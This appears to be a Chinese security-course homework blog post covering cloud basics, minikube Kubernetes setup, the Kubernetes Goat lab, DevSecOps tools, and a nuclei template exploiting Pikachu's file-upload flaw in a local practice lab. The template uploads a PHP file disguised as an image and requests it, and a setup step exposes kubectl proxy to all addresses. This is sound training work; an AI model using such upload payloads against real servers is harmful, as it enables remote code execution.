C11期作业27(09.27)

目录

一、参考课件复习云相关基础概念

云服务:通过互联⽹提供的远程计算服务和资源

主要特征

主要类型

[公有云(Public Cloud)](#公有云(Public Cloud))

[私有云(Private Cloud)](#私有云(Private Cloud))

[混合云(Hybrid Cloud)](#混合云(Hybrid Cloud))

多云(Multi-Cloud)

服务模型

[基础设施即服务(IaaS, Infrastructure as a Service)](#基础设施即服务(IaaS, Infrastructure as a Service))

[平台即服务(PaaS, Platform as a Service)](#平台即服务(PaaS, Platform as a Service))

[软件即服务(SaaS, Software as a Service)](#软件即服务(SaaS, Software as a Service))

典型应⽤场景

云原⽣与云服务

二、使用minikube搭建k8s集群,并学习基础操作

系统环境:腾讯云海外服务器2核2G,ubuntu24

使用minikube搭建k8s集群

更新系统并安装依赖

安装Docker

安装kubectl

安装Minikube

[启动Minikube(使用 Docker 驱动)](#启动Minikube(使用 Docker 驱动))

启动metrics

启用Dashboard(仪表盘)

方式一:仅本机访问(需给ubuntu安装桌面环境)

方式二:可外部访问

页面截图(这是安装了k8s-goat后的效果,仅按上面安装这里应该是空的)​

基础操作

[获取 Kubernetes 服务器版本:kubectl version​](#获取 Kubernetes 服务器版本:kubectl version)

[获取 Kubernetes 集群信息:kubectl cluster-info​](#获取 Kubernetes 集群信息:kubectl cluster-info)

[获取节点信息:kubectl get nodes​](#获取节点信息:kubectl get nodes)

[获取当前命名空间中的 Pod 详细信息:kubectl get pods​](#获取当前命名空间中的 Pod 详细信息:kubectl get pods)

三、搭建k8s-goat靶场,并参考官方文档和课件完成dind等场景的练习

搭建k8s-goat靶场

[克隆 Kubernetes Goat 仓库](#克隆 Kubernetes Goat 仓库)

运⾏kubernetes-goat的K8S服务

启动应⽤服务的端⼝转发

页面截图:访问服务器的1234端口​

dind场景练习

介绍​

练习​

四、复习devsecops相关概念和开源工具

概念

软件开发周期各阶段如何工作

开源工具

五、复习nuclei工具的使用和poc编写,编写pikachu文件上传漏洞poc

nuclei工具的使用:见C11期作业26(09.20)第五题

编写pikachu文件上传漏洞poc

本地pikachu环境(phpstudy搭建):pp.com

靶场页面(客户端验证文件类型):http://pp.com/vul/unsafeupload/clientcheck.php​

使用burp抓包,repeater,绕过客户端验证,上传phpinfo文件,成功​

根据此包编写poc文件:pikachu-unsafe-file-upload.yaml

使用此模版扫描,漏扫成功

访问上传文件页面​

六、认真打磨个人简历(略)


一、参考课件复习云相关基础概念

云服务:通过互联⽹提供的远程计算服务和资源
  1. 是一种将计算资源(如存储、处理能⼒、⽹络和应⽤程序)虚拟化并集中管理的技术模式
  2. ⽤户可以按需通过⽹络访问这些资源,⽽⽆需关⼼底层硬件设施的部署和管理
主要特征
  1. 按需⾃助服务:⽤户可以根据需求实时获取计算资源(如虚拟机、存储空间)⽽⽆需⼈⼯⼲预
  2. ⼴泛的⽹络访问:云服务可以通过⽹络随时随地访问,⽀持各种终端(如电脑、⼿机、平板等)
  3. 资源池化:计算资源集中存放在数据中⼼,通过虚拟化技术共享给多个⽤户(多租户模式),以提⾼资源利⽤率
  4. 快速弹性:根据⽤户需求,云能够动态调整资源分配,提供⼏乎⽆限的扩展能⼒
  5. 按使⽤计费:⽤户只需为实际使⽤的资源和服务付费,类似于⽔电费的计费⽅式
主要类型
复制代码
  ###### 公有云(Public Cloud)

  1. 由第三⽅云服务商提供,资源通过互联⽹共享
  2. 例如:阿⾥云、AWS(亚⻢逊云)、微软 Azure、Google Cloud
  3. 特点:低成本、⾼弹性、⽆需维护基础设施
复制代码
  ###### 私有云(Private Cloud)

  1. 专为单⼀组织构建,资源完全由该组织独享
  2. 特点:⾼安全性、定制化强,但成本较⾼
复制代码
  ###### 混合云(Hybrid Cloud)

  1. 结合公有云和私有云的优点,允许数据和应⽤在两者之间灵活切换
  2. 特点:满⾜敏感数据安全需求,同时利⽤公有云的弹性
复制代码
  ###### 多云(Multi-Cloud)

  1. 指企业同时使⽤多个公有云服务商的资源和服务
  2. 特点:避免供应商锁定,提⾼服务可靠性
服务模型
复制代码
  ###### 基础设施即服务(IaaS, Infrastructure as a Service)

  1. 提供虚拟化的计算资源,如虚拟机、存储、⽹络等
  2. ⽤户需要⾃⾏管理操作系统、应⽤程序等
  3. 示例:AWS EC2、阿⾥云 ECS
复制代码
  ###### 平台即服务(PaaS, Platform as a Service)

  1. 提供开发和部署环境,⽤户⽆需关⼼底层基础设施
  2. 示例:Google App Engine、阿⾥云的应⽤托管服务
复制代码
  ###### 软件即服务(SaaS, Software as a Service)

  1. 提供现成的应⽤程序,⽤户通过⽹络直接使⽤
  2. 示例:Office 365、Google Workspace、Salesforce、百度云盘、12306
典型应⽤场景
  1. 存储与备份:如个⼈照⽚存储(iCloud、Google Drive)或企业数据备份(AWS S3)
  2. 应⽤托管:开发者利⽤云平台部署应⽤程序,⽽⽆需管理底层资源
  3. ⼤数据与⼈⼯智能:如使⽤云平台的计算能⼒分析海量数据或训练机器学习模型
  4. 企业协作:如基于云的协作⼯具(Microsoft Teams、Slack)
  5. 内容分发:如通过云服务快速分发⽹站内容(CDN)
云原⽣与云服务
  1. 云原⽣与云服务的关系密切但有显著区别,它们分别代表⼀种应⽤架构理念和⼀种技术提供模式
  2. 云服务
    1. 定义:云服务是指通过互联⽹提供的按需计算资源和服务,包括 IaaS(基础设施即服务)、PaaS(平台即服务)、SaaS(软件即服务)等
    2. 核⼼:向⽤户提供弹性、按需、⾃助的基础设施和平台服务
  3. 云原⽣
    1. 定义:云原⽣是⼀种专为云环境设计的应⽤架构理念,强调通过容器化、微服务架构、持续交付(CI/CD)、⾃动化运维和弹性扩展来构建现代化的应⽤程序
    2. 核⼼:最⼤化利⽤云计算资源的优势,以构建敏捷、弹性和⾼效的应⽤
  4. 关系
    1. 云服务是云原⽣的基础设施:云原⽣应⽤通常运⾏在云服务上,利⽤云计算的弹性、存储和⽹络资源
    2. 云原⽣优化云服务的利⽤:云原⽣的设计理念通过容器编排、微服务拆分等⽅式充分发挥云服务的弹性和成本优势

二、使用minikube搭建k8s集群,并学习基础操作

系统环境:腾讯云海外服务器2核2G,ubuntu24
  1. 最初使用vmware虚拟机的kali,总是出现问题,很费时间
  2. 改用海外服务器后,安装很顺利
使用minikube搭建k8s集群
复制代码
  ###### 更新系统并安装依赖

      sudo apt update && sudo apt upgrade -y
      sudo apt install -y curl wget vim git
复制代码
  ###### 安装Docker

      # 安装 Docker
      sudo apt install -y docker.io

      # 启动并设置开机自启
      sudo systemctl enable --now docker

      # 将当前用户加入 docker 组(避免每次用 sudo)
      sudo usermod -aG docker $USER
      newgrp docker  # 刷新组权限(或重新登录 shell)
复制代码
  ###### 安装kubectl

      curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
      # 如果是 arm64 架构,把 amd64 改为 arm64

      chmod +x kubectl
      sudo mv kubectl /usr/local/bin/
      kubectl version --client
复制代码
  ###### 安装Minikube

      curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
      # arm64 用户请用:minikube-linux-arm64

      sudo install minikube-linux-amd64 /usr/local/bin/minikube
      minikube version
复制代码
  ###### 启动Minikube(使用 Docker 驱动)

      minikube start \
        --driver=docker \
        --container-runtime=docker \
        --kubernetes-version=stable \
        --cpus=2 \
        --memory=1967 # 可调大,如内存不足,可根据报错提示调整
复制代码
  ###### 启动metrics

      minikube addons enable metrics-server
复制代码
  ###### 启用Dashboard(仪表盘)

  1.

     ###### 方式一:仅本机访问(需给ubuntu安装桌面环境)

         minikube dashboard --url

  2.

     ###### 方式二:可外部访问

         kubectl proxy  --port=8088 --address='0.0.0.0' --accept-hosts='^.*'

  3.

     ###### 页面截图(这是安装了k8s-goat后的效果,仅按上面安装这里应该是空的)![](https://i-blog.csdnimg.cn/direct/c153510711fc487b8839a36ccf62e26a.png)
基础操作
复制代码
  ###### 获取 Kubernetes 服务器版本:kubectl version![](https://i-blog.csdnimg.cn/direct/85a424ef46f1429bb2e4ed27c2928284.png)
复制代码
  ###### 获取 Kubernetes 集群信息:kubectl cluster-info![](https://i-blog.csdnimg.cn/direct/df72b767b5a64a85af1243530a157ed0.png)
复制代码
  ###### 获取节点信息:kubectl get nodes![](https://i-blog.csdnimg.cn/direct/f19da074488e435290ce9b10cb61101b.png)
复制代码
  ###### 获取当前命名空间中的 Pod 详细信息:kubectl get pods![](https://i-blog.csdnimg.cn/direct/c10c0761daaf43e5ac815cce4dbc4536.png)

三、搭建k8s-goat靶场,并参考官方文档和课件完成dind等场景的练习

搭建k8s-goat靶场
复制代码
  ###### 克隆 Kubernetes Goat 仓库

      git clone https://github.com/madhuakula/kubernetes-goat.git
      cd kubernetes-goat
      chmod +x setup-kubernetes-goat.sh access-kubernetes-goat.sh
复制代码
  ###### 运⾏kubernetes-goat的K8S服务

      ./setup-kubernetes-goat.sh
复制代码
  ###### 启动应⽤服务的端⼝转发

      ./access-kubernetes-goat.sh
复制代码
  ###### 页面截图:访问服务器的1234端口![](https://i-blog.csdnimg.cn/direct/1b2e90ed30304efa9e71cfe1962ba949.png)
dind场景练习
复制代码
  ###### 介绍![](https://i-blog.csdnimg.cn/direct/820843be337949e1a81adee85609afa6.png)
复制代码
  ###### 练习![](https://i-blog.csdnimg.cn/direct/014d9ec094de402a8cc8887c30ba07bc.png)

四、复习devsecops相关概念和开源工具

概念
  1. DevSecOps 是⼀种将安全性集成到持续集成、持续交付和持续部署管道中的实践
  2. 通过将DevOps 价值观整合到软件安全中,安全性验证成为开发过程中的⼀个活动的集成部分
软件开发周期各阶段如何工作
  1. 计划阶段:执⾏主要的安全分析,制定适当的测试策略,⽤于确定测试的⽅式、地点和时间
  2. 编码阶段:使⽤各种类型的 Git 控件和⼯具来保护敏感信息,例如应⽤程序编程接⼝ (API) 密钥和密码
  3. 构建阶段:静态应⽤程序安全测试 (SAST),使代码⽆错误
  4. 测试阶段:动态应⽤程序安全测试(DAST),主要⽤于测试产品/应⽤程序,保护⽤户身份验证,并识别 SQL 注⼊和 API 端点中可能存在的问题
  5. 发布阶段:在渗透测试和漏洞扫描过程中执⾏安全分析
  6. 部署阶段:在⽣产中实施适当的安全协议,为最终部署做好准备
开源工具
  1. CI/CD⼯具:Jenkins、Travis CI、CircleCI、GitLab CI/CD、Concourse
  2. 版本控制⼯具:Git、SVN、Mercurial、Bazaar、Fossil
  3. 机密扫描⼯具:GitSecrets、TruffleHog、Gitleaks、BlackBox、SOPS
  4. SCA(源成分分析):OWASP dependency check、WhiteSource Bolt、OpenSCA、Black Duck Hub、CycloneDX
  5. 静态应⽤程序安全测试(SAST)⼯具:SonarQube、Snyk、Semgrep、Bandit、FindBugs
  6. 动态应⽤程序安全测试(DAST)⼯具:OWASP ZAP、Wapiti、Dastardly、Vega、Nikto、Arachni
  7. 容器化⼯具:锚引擎、Clair、Trivy、Twistlock、OpenSCAP

五、复习nuclei工具的使用和poc编写,编写pikachu文件上传漏洞poc

nuclei工具的使用:见C11期作业26(09.20)第五题
编写pikachu文件上传漏洞poc
复制代码
  ###### 本地pikachu环境(phpstudy搭建):pp.com
复制代码
  ###### 靶场页面(客户端验证文件类型):[http://pp.com/vul/unsafeupload/clientcheck.php](http://pp.com/vul/unsafeupload/clientcheck.php "http://pp.com/vul/unsafeupload/clientcheck.php")![](https://i-blog.csdnimg.cn/direct/90f33d9d5bb54ecfbeacf80b7e400678.png)
复制代码
  ###### 使用burp抓包,repeater,绕过客户端验证,上传phpinfo文件,成功![](https://i-blog.csdnimg.cn/direct/dcdc6345daca4bb29aa73e3c90ecfaad.png)
复制代码
  ###### 根据此包编写poc文件:pikachu-unsafe-file-upload.yaml

      id: pikachu-unsafe-file-upload

      info:
        name: Pikachu Unsafe File Upload
        author: your-name
        severity: high
        description: Remote code execution via unsafe file upload in Pikachu.
        reference:
          - https://github.com/zhuifengshaonianhanlu/pikachu
        tags: pikachu,fileupload,rce

      requests:
        - raw:
            - |
              POST /vul/unsafeupload/clientcheck.php HTTP/1.1
              Host: {{Hostname}}
              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36
              Content-Type: multipart/form-data; boundary=----geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
              Connection: close

              ------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
              Content-Disposition: form-data; name="uploadfile"; filename="info.php"
              Content-Type: image/gif

              <?php phpinfo(); ?>
              ------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
              Content-Disposition: form-data; name="submit"

              submit
              ------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47--

            - |
              GET /vul/unsafeupload/uploads/info.php HTTP/1.1
              Host: {{Hostname}}

          matchers:
            - type: word
              part: body
              words:
                - "PHP Version"
复制代码
  ###### 使用此模版扫描,漏扫成功

      nuclei -u http://pp.com -t pikachu-unsafe-file-upload.yaml

  ![](https://i-blog.csdnimg.cn/direct/a433bc12943a4558ac2ae341cb9a789f.png)
复制代码
  ###### 访问上传文件页面![](https://i-blog.csdnimg.cn/direct/2a18c1e49bc842cda1f28fd719fae09e.png)

六、认真打磨个人简历(略)

相关推荐
YongCheng_Liang6 小时前
Kali Linux TCP 泛洪攻击实验教程与防御方案(仅限合法测试场景)
运维·网络·网络安全
苦瓜炒蛋挞1 天前
小迪安全第二十二天-安全开发-PHP应用&数据库操作&留言板功能&第三方插件
数据库·网络安全·php·小迪安全
WayneJoon.H1 天前
Java反序列化 CC7链分析
java·安全·网络安全·cc链·反序列化
三七吃山漆1 天前
攻防世界——easy_web
安全·网络安全·web·ctf
Whoami!1 天前
⸢ 拾陆-Ⅵ⸥⤳ 安全数智化建设:安全智能平台(下)▸场景
网络安全·信息安全·智能安全
jenchoi4131 天前
【2025-11-19】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
jenchoi4131 天前
【2025-11-18】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
星尘安全1 天前
研究人员发现严重 AI 漏洞,Meta、英伟达及微软推理框架面临风险
人工智能·microsoft·网络安全·程序员必看